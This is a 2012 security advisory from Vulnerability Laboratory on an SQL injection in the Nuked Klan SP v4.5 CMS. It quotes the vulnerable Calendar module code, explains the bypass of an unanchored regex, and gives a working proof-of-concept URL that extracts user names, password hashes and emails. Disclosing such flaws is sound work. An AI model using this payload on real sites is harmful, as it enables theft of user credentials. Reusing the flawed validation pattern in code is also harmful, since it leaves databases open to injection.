Nuked Klan SP CMS v4.5 - SQL injection Vulnerability

2012-06-08T00:00:00
ID VULNERLAB:610
Type vulnerlab
Reporter Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com)
Modified 2012-06-08T00:00:00

Description

                                        
                                            Document Title:
===============
Nuked Klan SP CMS v4.5 - SQL injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=610


Release Date:
=============
2012-06-08


Vulnerability Laboratory ID (VL-ID):
====================================
610


Common Vulnerability Scoring System:
====================================
8


Product & Service Introduction:
===============================
Nuked-Klan is an open source CMS. It allows you to install and administer a website in a simple and interactive.
It simply requires a hosting PHP / MySQL to work. Nuked-Klan is specialized in network games and clan management 
with its version Gamer, however, a general version of SP is named.

(Copy of the Vendor Homepage: http://www.nuked-klan.org/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a critical sql vulnerability and regex ereg bypass in the Nuked Klan SP v4.5 CMS.


Vulnerability Disclosure Timeline:
==================================
2012-06-08:	Public Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A SQL Injection vulnerability & a misconfiguration are detected in the Nuked Klan SP v4.5 Content Management System.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own 
sql commands on the affected application dbms without user inter action. Successful exploitation of the 
vulnerability results in dbms & application compromise. The vulnerabilities are located in misconfigured 
regex ereg condition when processing to request the eid variable.

Vulnerable File(s):
			[+] index.php

Vulnerable Parameter(s):
			[+] eid


Proof of Concept (PoC):
=======================
The sql injection vulnerability can be exploited by remote attackers without required user inter action.
For demonstration or reproduce ...

Before continuing to exploit, you need to know the procedure about how  "Eid" variable  is handled (behind).
First the user is sending a GET request with "eid" as argument then it passed to the function `show_event()`. 
Now we review the content of the file "/modules/Calendar/index.php " as example ...

function show_event()
    {
        global $bgcolor2, $eid, $type, $d, $m, $y, $user, $nuked, $theme, $language;

        if ($type == "birthday" && ereg("[a-zA-Z0-9]+$", $eid)) 
        {
            $sql = mysql_query("SELECT pseudo, prenom, age FROM " . USER_TABLE . " WHERE id = '" . $eid . "'");
            list($pseudo, $prenom, $birthday) = mysql_fetch_array($sql);
            $pseudo = stripslashes($pseudo);
            $prenom = stripslashes($prenom);  ...

This function will check if a variable contains only alpha-num characters or not, as you can see on this regex
ereg("[a-zA-Z0-9]+$", $eid)  the programmer has forget to add begin check `^`. Remote attackers can bypass the 
validation by adding  any own special character like  (+,--,#,% ) followed by the string to validate the above condition.

PoC:
http://127.0.0.1:80/nk/index.php?file=Calendar&nuked_nude=index&op=show_event&eid=
0'union+select+version(),concat(pseudo,0x3a,pass,0x3a,email),3+from+nuked_users+where%20'vuln-lab'='vuln-lab&type=birthday 


Security Risk:
==============
The security risk of the sql injection vulnerability is estimated as high.



Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory